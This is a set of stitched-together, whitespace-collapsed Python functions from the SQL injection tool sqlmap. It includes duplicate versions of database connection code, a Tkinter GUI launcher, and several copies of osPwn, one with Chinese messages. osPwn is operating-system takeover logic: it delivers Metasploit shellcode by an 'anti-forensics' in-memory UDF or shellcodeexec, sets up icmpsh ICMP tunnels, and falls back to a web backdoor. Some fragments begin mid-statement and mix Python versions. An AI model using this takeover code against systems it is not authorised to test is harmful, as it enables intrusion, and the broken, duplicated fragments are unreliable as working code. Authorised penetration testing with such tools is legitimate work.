def connect(self): self.initConnection() self.checkFileDb() try: self.connector = self.__sqlite.connect(database=self.db, check_same_thread=False, timeout=conf.timeout) cursor = self.connector.cursor() cursor.execute("SELECT * FROM sqlite_master") cursor.close() except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError): warnMsg = "unable to connect using SQLite 3 library, trying with SQLite 2" logger.warn(warnMsg) try: try: import sqlite except ImportError: errMsg = "sqlmap requires 'python-sqlite' third-party library " errMsg += "in order to directly connect to the database '%s'" % self.db raise SqlmapMissingDependence(errMsg) self.__sqlite = sqlite self.connector = self.__sqlite.connect(database=self.db, check_same_thread=False, timeout=conf.timeout) except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError) as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected()
def connect(self): if _sqlalchemy: self.initConnection() try: if not self.port and self.db: if not os.path.exists(self.db): raise SqlmapFilePathException( "the provided database file '%s' does not exist" % self.db) _ = conf.direct.split("//", 1) conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db)) if self.dialect: conf.direct = conf.direct.replace(conf.dbms, self.dialect, 1) if self.dialect == "sqlite": engine = _sqlalchemy.create_engine( conf.direct, connect_args={"check_same_thread": False}) elif self.dialect == "oracle": engine = _sqlalchemy.create_engine(conf.direct) else: engine = _sqlalchemy.create_engine(conf.direct, connect_args={}) self.connector = engine.connect() except (TypeError, ValueError): if "_get_server_version_info" in traceback.format_exc(): try: import pymssql if int(pymssql.__version__[0]) < 2: raise SqlmapConnectionException( "SQLAlchemy connection issue (obsolete version of pymssql ('%s') is causing problems)" % pymssql.__version__) except ImportError: pass elif "invalid literal for int() with base 10: '0b" in traceback.format_exc( ): raise SqlmapConnectionException( "SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')" ) else: pass except SqlmapFilePathException: raise except Exception as ex: raise SqlmapConnectionException( "SQLAlchemy connection issue ('%s')" % getSafeExString(ex)) self.printConnected() else: raise SqlmapMissingDependence("SQLAlchemy not available")
pass elif "invalid literal for int() with base 10: '0b" in traceback.format_exc( ): raise SqlmapConnectionException( "SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')" ) raise except SqlmapFilePathException: raise except Exception, msg: raise SqlmapConnectionException( "SQLAlchemy connection issue ('%s')" % msg[0]) self.printConnected() else: raise SqlmapMissingDependence("SQLAlchemy not available") def fetchall(self): try: retVal = [] for row in self.cursor.fetchall(): retVal.append(tuple(row)) return retVal except _sqlalchemy.exc.ProgrammingError, msg: logger.log( logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg.message if hasattr(msg, "message") else msg) return None def execute(self, query):
def runGui(parser): try: from thirdparty.six.moves import tkinter as _tkinter from thirdparty.six.moves import tkinter_scrolledtext as _tkinter_scrolledtext from thirdparty.six.moves import tkinter_ttk as _tkinter_ttk from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox except ImportError as ex: raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex)) # Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x class ConstrainedEntry(_tkinter.Entry): def __init__(self, master=None, **kwargs): self.var = _tkinter.StringVar() self.regex = kwargs["regex"] del kwargs["regex"] _tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs) self.old_value = '' self.var.trace('w', self.check) self.get, self.set = self.var.get, self.var.set def check(self, *args): if re.search(self.regex, self.get()): self.old_value = self.get() else: self.set(self.old_value) # Reference: https://code.activestate.com/recipes/580726-tkinter-notebook-that-fits-to-the-height-of-every-/ class AutoresizableNotebook(_tkinter_ttk.Notebook): def __init__(self, master=None, **kw): _tkinter_ttk.Notebook.__init__(self, master, **kw) self.bind("<<NotebookTabChanged>>", self._on_tab_changed) def _on_tab_changed(self, event): event.widget.update_idletasks() tab = event.widget.nametowidget(event.widget.select()) event.widget.configure(height=tab.winfo_reqheight()) window = _tkinter.Tk() window.title(VERSION_STRING) # Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook style = _tkinter_ttk.Style() settings = { "TNotebook.Tab": { "configure": { "padding": [5, 1], "background": "#fdd57e" }, "map": { "background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")] } } } style.theme_create("custom", parent="alt", settings=settings) style.theme_use("custom") # Reference: https://stackoverflow.com/a/10018670 def center(window): window.update_idletasks() width = window.winfo_width() frm_width = window.winfo_rootx() - window.winfo_x() win_width = width + 2 * frm_width height = window.winfo_height() titlebar_height = window.winfo_rooty() - window.winfo_y() win_height = height + titlebar_height + frm_width x = window.winfo_screenwidth() // 2 - win_width // 2 y = window.winfo_screenheight() // 2 - win_height // 2 window.geometry('{}x{}+{}+{}'.format(width, height, x, y)) window.deiconify() def onKeyPress(event): global line global queue if process: if event.char == '\b': line = line[:-1] else: line += event.char def onReturnPress(event): global line global queue if process: try: process.stdin.write(("%s\n" % line.strip()).encode()) process.stdin.flush() except socket.error: line = "" event.widget.master.master.destroy() return "break" except: return event.widget.insert(_tkinter.END, "\n") return "break" def run(): global alive global process global queue config = {} for key in window._widgets: dest, type = key widget = window._widgets[key] if hasattr(widget, "get") and not widget.get(): value = None elif type == "string": value = widget.get() elif type == "float": value = float(widget.get()) elif type == "int": value = int(widget.get()) else: value = bool(widget.var.get()) config[dest] = value for option in parser.option_list: config[option.dest] = defaults.get(option.dest, None) handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) os.close(handle) saveConfig(config, configFile) def enqueue(stream, queue): global alive for line in iter(stream.readline, b''): queue.put(line) alive = False stream.close() alive = True process = subprocess.Popen([ sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile ], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN) # Reference: https://stackoverflow.com/a/4896288 queue = _queue.Queue() thread = threading.Thread(target=enqueue, args=(process.stdout, queue)) thread.daemon = True thread.start() top = _tkinter.Toplevel() top.title("Console") # Reference: https://stackoverflow.com/a/13833338 text = _tkinter_scrolledtext.ScrolledText(top, undo=True) text.bind("<Key>", onKeyPress) text.bind("<Return>", onReturnPress) text.pack() text.focus() center(top) while alive: line = "" try: # line = queue.get_nowait() line = queue.get(timeout=.1) text.insert(_tkinter.END, line) except _queue.Empty: text.see(_tkinter.END) text.update_idletasks() menubar = _tkinter.Menu(window) filemenu = _tkinter.Menu(menubar, tearoff=0) filemenu.add_command(label="Open", state=_tkinter.DISABLED) filemenu.add_command(label="Save", state=_tkinter.DISABLED) filemenu.add_separator() filemenu.add_command(label="Exit", command=window.quit) menubar.add_cascade(label="File", menu=filemenu) menubar.add_command(label="Run", command=run) helpmenu = _tkinter.Menu(menubar, tearoff=0) helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE)) helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE)) helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) helpmenu.add_separator() helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo( "About", "Copyright (c) 2006-2020\n\n (%s)" % DEV_EMAIL_ADDRESS)) menubar.add_cascade(label="Help", menu=helpmenu) window.config(menu=menubar) window._widgets = {} notebook = AutoresizableNotebook(window) first = None frames = {} for group in parser.option_groups: frame = frames[group.title] = _tkinter.Frame(notebook, width=200, height=200) notebook.add(frames[group.title], text=group.title) _tkinter.Label(frame).grid(column=0, row=0, sticky=_tkinter.W) row = 1 if group.get_description(): _tkinter.Label(frame, text="%s:" % group.get_description()).grid( column=0, row=1, columnspan=3, sticky=_tkinter.W) _tkinter.Label(frame).grid(column=0, row=2, sticky=_tkinter.W) row += 2 for option in group.option_list: _tkinter.Label( frame, text="%s " % parser.formatter._format_option_strings(option)).grid( column=0, row=row, sticky=_tkinter.W) if option.type == "string": widget = _tkinter.Entry(frame) elif option.type == "float": widget = ConstrainedEntry(frame, regex=r"\A\d*\.?\d*\Z") elif option.type == "int": widget = ConstrainedEntry(frame, regex=r"\A\d*\Z") else: var = _tkinter.IntVar() widget = _tkinter.Checkbutton(frame, variable=var) widget.var = var first = first or widget widget.grid(column=1, row=row, sticky=_tkinter.W) window._widgets[(option.dest, option.type)] = widget default = defaults.get(option.dest) if default: if hasattr(widget, "insert"): widget.insert(0, default) _tkinter.Label(frame, text=" %s" % option.help).grid(column=2, row=row, sticky=_tkinter.W) row += 1 _tkinter.Label(frame).grid(column=0, row=row, sticky=_tkinter.W) notebook.pack(expand=1, fill="both") notebook.enable_traversal() first.focus() window.mainloop()
def osPwn(self): goUdf = False fallbackToWeb = False setupSuccess = False self.checkDbmsOs() if Backend.isOs(OS.WINDOWS): msg = "how do you want to establish the tunnel?" msg += "\n[1] TCP: Metasploit Framework (default)" msg += "\n[2] ICMP: icmpsh - ICMP tunneling" valids = (1, 2) while True: tunnel = readInput(msg, default=1) if isinstance(tunnel, basestring) and tunnel.isdigit() and int( tunnel) in valids: tunnel = int(tunnel) break elif isinstance(tunnel, int) and tunnel in valids: break else: warnMsg = "invalid value, valid values are 1 and 2" logger.warn(warnMsg) else: tunnel = 1 debugMsg = "the tunnel can be established only via TCP when " debugMsg += "the back-end DBMS is not Windows" logger.debug(debugMsg) if tunnel == 2: isAdmin = runningAsAdmin() if not isAdmin: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to establish an out-of-band ICMP " errMsg += "tunnel because icmpsh uses raw sockets to " errMsg += "sniff and craft ICMP packets" raise SqlmapMissingPrivileges(errMsg) try: from impacket import ImpactDecoder from impacket import ImpactPacket except ImportError: errMsg = "sqlmap requires 'python-impacket' third-party library " errMsg += "in order to run icmpsh master. You can get it at " errMsg += "http://code.google.com/p/impacket/downloads/list" raise SqlmapMissingDependence(errMsg) sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all" if os.path.exists(sysIgnoreIcmp): fp = open(sysIgnoreIcmp, "wb") fp.write("1") fp.close() else: errMsg = "you need to disable ICMP replies by your machine " errMsg += "system-wide. For example run on Linux/Unix:\n" errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n" errMsg += "If you miss doing that, you will receive " errMsg += "information from the database server and it " errMsg += "is unlikely to receive commands sent from you" logger.error(errMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.sysUdfs.pop("sys_bineval") self.getRemoteTempPath() if isStackingAvailable() or conf.direct: web = False self.initEnv(web=web) if tunnel == 1: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): msg = "how do you want to execute the Metasploit shellcode " msg += "on the back-end database underlying operating system?" msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)" while True: choice = readInput(msg, default=1) if isinstance(choice, basestring) and choice.isdigit( ) and int(choice) in (1, 2): choice = int(choice) break elif isinstance(choice, int) and choice in (1, 2): break else: warnMsg = "invalid value, valid values are 1 and 2" logger.warn(warnMsg) if choice == 1: goUdf = True if goUdf: exitfunc = "thread" setupSuccess = True else: exitfunc = "process" self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") if not goUdf: setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if Backend.isOs(OS.WINDOWS) and Backend.isDbms( DBMS.MYSQL) and conf.privEsc: debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, no need to privilege escalate" logger.debug(debugMsg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if not setupSuccess and Backend.isDbms( DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb): web = True if fallbackToWeb: infoMsg = "falling back to web backdoor to establish the tunnel" else: infoMsg = "going to use a web backdoor to establish the tunnel" logger.info(infoMsg) self.initEnv(web=web, forceInit=fallbackToWeb) if self.webBackdoorUrl: if not Backend.isOs(OS.WINDOWS) and conf.privEsc: # Unset --priv-esc if the back-end DBMS underlying operating # system is not Windows conf.privEsc = False warnMsg = "sqlmap does not implement any operating system " warnMsg += "user privilege escalation technique when the " warnMsg += "back-end DBMS underlying system is not Windows" logger.warn(warnMsg) if tunnel == 1: self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if setupSuccess: if tunnel == 1: self.pwn(goUdf) elif tunnel == 2: self.icmpPwn() else: errMsg = "unable to prompt for an out-of-band session" raise SqlmapNotVulnerableException(errMsg) if not conf.cleanup: self.cleanup(web=web)
def osPwn(self): goUdf = False fallbackToWeb = False setupSuccess = False self.checkDbmsOs() if Backend.isOs(OS.WINDOWS): msg = "how do you want to establish the tunnel?" msg += "\n[1] TCP: Metasploit Framework (default)" msg += "\n[2] ICMP: icmpsh - ICMP tunneling" while True: tunnel = readInput(msg, default='1') if tunnel.isdigit() and int(tunnel) in (1, 2): tunnel = int(tunnel) break else: warnMsg = "invalid value, valid values are '1' and '2'" logger.warn(warnMsg) else: tunnel = 1 debugMsg = "the tunnel can be established only via TCP when " debugMsg += "the back-end DBMS is not Windows" logger.debug(debugMsg) if tunnel == 2: isAdmin = runningAsAdmin() if not isAdmin: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to establish an out-of-band ICMP " errMsg += "tunnel because icmpsh uses raw sockets to " errMsg += "sniff and craft ICMP packets" raise SqlmapMissingPrivileges(errMsg) try: __import__("impacket") except ImportError: errMsg = "sqlmap requires 'python-impacket' third-party library " errMsg += "in order to run icmpsh master. You can get it at " errMsg += "http://code.google.com/p/impacket/downloads/list" raise SqlmapMissingDependence(errMsg) filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all" if os.path.exists(filename): try: with open(filename, "wb") as f: f.write("1") except IOError, ex: errMsg = "there has been a file opening/writing error " errMsg += "for filename '%s' ('%s')" % ( filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) else: errMsg = "you need to disable ICMP replies by your machine " errMsg += "system-wide. For example run on Linux/Unix:\n" errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n" errMsg += "If you miss doing that, you will receive " errMsg += "information from the database server and it " errMsg += "is unlikely to receive commands sent from you" logger.error(errMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.sysUdfs.pop("sys_bineval")
def runGui(parser): try: import tkinter import tkinter.ttk except ImportError as ex: raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex)) # Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x class ConstrainedEntry(tkinter.Entry): def __init__(self, master=None, **kwargs): self.var = tkinter.StringVar() self.regex = kwargs["regex"] del kwargs["regex"] tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs) self.old_value = '' self.var.trace('w', self.check) self.get, self.set = self.var.get, self.var.set def check(self, *args): if re.search(self.regex, self.get()): self.old_value = self.get() else: self.set(self.old_value) # Reference: https://code.activestate.com/recipes/580726-tkinter-notebook-that-fits-to-the-height-of-every-/ class AutoresizableNotebook(tkinter.ttk.Notebook): def __init__(self, master=None, **kw): tkinter.ttk.Notebook.__init__(self, master, **kw) self.bind("<<NotebookTabChanged>>", self._on_tab_changed) def _on_tab_changed(self, event): event.widget.update_idletasks() tab = event.widget.nametowidget(event.widget.select()) event.widget.configure(height=tab.winfo_reqheight()) window = tkinter.Tk() window.title(VERSION_STRING) # Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook style = tkinter.ttk.Style() settings = { "TNotebook.Tab": { "configure": { "padding": [5, 1], "background": "#fdd57e" }, "map": { "background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")] } } } style.theme_create("custom", parent="alt", settings=settings) style.theme_use("custom") def run(): options = {} for key in window._widgets: dest, type = key widget = window._widgets[key] if hasattr(widget, "get") and not widget.get(): value = None elif type == "string": value = widget.get() elif type == "float": value = float(widget.get()) elif type == "int": value = int(widget.get()) else: value = bool(widget.getint()) options[dest] = value for option in parser.option_list: options[option.dest] = defaults.get(option.dest, None) parser._args = options window.destroy() menubar = tkinter.Menu(window) filemenu = tkinter.Menu(menubar, tearoff=0) filemenu.add_command(label="Open", state=tkinter.DISABLED) filemenu.add_command(label="Save", state=tkinter.DISABLED) filemenu.add_separator() filemenu.add_command(label="Exit", command=window.quit) menubar.add_cascade(label="File", menu=filemenu) menubar.add_command(label="Run", command=run) helpmenu = tkinter.Menu(menubar, tearoff=0) helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE)) helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE)) helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) helpmenu.add_separator() helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo( "About", "Copyright (c) 2006-2019\n\n (%s)" % DEV_EMAIL_ADDRESS)) menubar.add_cascade(label="Help", menu=helpmenu) window.config(menu=menubar) window._widgets = {} notebook = AutoresizableNotebook(window) first = None frames = {} for group in parser.option_groups: frame = frames[group.title] = tkinter.Frame(notebook, width=200, height=200) notebook.add(frames[group.title], text=group.title) tkinter.Label(frame).grid(column=0, row=0, sticky=tkinter.W) row = 1 if group.get_description(): tkinter.Label(frame, text="%s:" % group.get_description()).grid( column=0, row=1, columnspan=3, sticky=tkinter.W) tkinter.Label(frame).grid(column=0, row=2, sticky=tkinter.W) row += 2 for option in group.option_list: tkinter.Label( frame, text="%s " % parser.formatter._format_option_strings(option)).grid( column=0, row=row, sticky=tkinter.W) if option.type == "string": widget = tkinter.Entry(frame) elif option.type == "float": widget = ConstrainedEntry(frame, regex=r"\A\d*\.?\d*\Z") elif option.type == "int": widget = ConstrainedEntry(frame, regex=r"\A\d*\Z") else: var = tkinter.IntVar() widget = tkinter.Checkbutton(frame, variable=var) widget.var = var first = first or widget widget.grid(column=1, row=row, sticky=tkinter.W) window._widgets[(option.dest, option.type)] = widget default = defaults.get(option.dest) if default: if hasattr(widget, "insert"): widget.insert(0, default) tkinter.Label(frame, text=" %s" % option.help).grid(column=2, row=row, sticky=tkinter.W) row += 1 tkinter.Label(frame).grid(column=0, row=row, sticky=tkinter.W) notebook.pack(expand=1, fill="both") notebook.enable_traversal() first.focus() window.mainloop()
def osPwn(self): goUdf = False fallbackToWeb = False setupSuccess = False self.checkDbmsOs() if Backend.isOs(OS.WINDOWS): msg = "你想如何建立隧道??" msg += "\n[1] TCP: Metasploit Framework (default)" msg += "\n[2] ICMP: icmpsh - ICMP tunneling" while True: tunnel = readInput(msg, default='1') if tunnel.isdigit() and int(tunnel) in (1, 2): tunnel = int(tunnel) break else: warnMsg = "无效值,有效值为'1'和'2'" logger.warn(warnMsg) else: tunnel = 1 debugMsg = "当后端DBMS不是Windows时,隧道只能通过TCP建立" logger.debug(debugMsg) if tunnel == 2: isAdmin = runningAsAdmin() if not isAdmin: errMsg = "如果要建立带外ICMP隧道,则需要以管理员身份运行sqlmap,因为icmpsh使用原始套接字来嗅探和制作ICMP数据包" raise SqlmapMissingPrivileges(errMsg) try: from impacket import ImpactDecoder from impacket import ImpactPacket except ImportError: errMsg = "sqlmap需要“python-impacket”第三方库才能运行icmpsh master。" errMsg += "您可以访问http://code.google.com/p/impacket/downloads/list" raise SqlmapMissingDependence(errMsg) sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all" if os.path.exists(sysIgnoreIcmp): fp = open(sysIgnoreIcmp, "wb") fp.write("1") fp.close() else: errMsg = "您需要在整个系统范围内禁用ICMP回复 " errMsg += "例如在Linux/Unix上运行:\n" errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n" errMsg += "如果您错过了这么做,您将收到来自数据库服务器的信息,而不会收到您发送的命令的回应。" logger.error(errMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.sysUdfs.pop("sys_bineval") self.getRemoteTempPath() if isStackingAvailable() or conf.direct: web = False self.initEnv(web=web) if tunnel == 1: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): msg = "您打算如何在底层操作系统的底层数据库上执行Metasploit shellcode?" msg += "\n[1] 通过UDF 'sys_bineval' (内存方式,反取证,默认)" msg += "\n[2] 通过shellcodeexec(文件系统方式,首选64位系统)" while True: choice = readInput(msg, default='1') if choice.isdigit() and int(choice) in (1, 2): choice = int(choice) break else: warnMsg = "无效值,有效值为1和2" logger.warn(warnMsg) if choice == 1: goUdf = True if goUdf: exitfunc = "thread" setupSuccess = True else: exitfunc = "process" self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") if not goUdf: setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "无法挂载操作系统接管" raise SqlmapFilePathException(msg) if Backend.isOs(OS.WINDOWS) and Backend.isDbms( DBMS.MYSQL) and conf.privEsc: debugMsg = "默认情况下,MySQL在Windows上运行为SYSTEM用户,不需要权限升级" logger.debug(debugMsg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "无法挂载操作系统接管" raise SqlmapFilePathException(msg) if not setupSuccess and Backend.isDbms( DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb): web = True if fallbackToWeb: infoMsg = "falling back to web backdoor to establish the tunnel" else: infoMsg = "要使用web后门建立隧道" logger.info(infoMsg) self.initEnv(web=web, forceInit=fallbackToWeb) if self.webBackdoorUrl: if not Backend.isOs(OS.WINDOWS) and conf.privEsc: #Unset --priv-esc如果后端DBMS底层操作系统不是Windows conf.privEsc = False warnMsg = "当后台DBMS底层系统不是Windows时,sqlmap不实现任何操作系统用户权限升级技术" logger.warn(warnMsg) if tunnel == 1: self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: msg = "无法挂载操作系统接管" raise SqlmapFilePathException(msg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: msg = "无法挂载操作系统接管" raise SqlmapFilePathException(msg) if setupSuccess: if tunnel == 1: self.pwn(goUdf) elif tunnel == 2: self.icmpPwn() else: errMsg = "unable to prompt for an out-of-band session" raise SqlmapNotVulnerableException(errMsg) if not conf.cleanup: self.cleanup(web=web)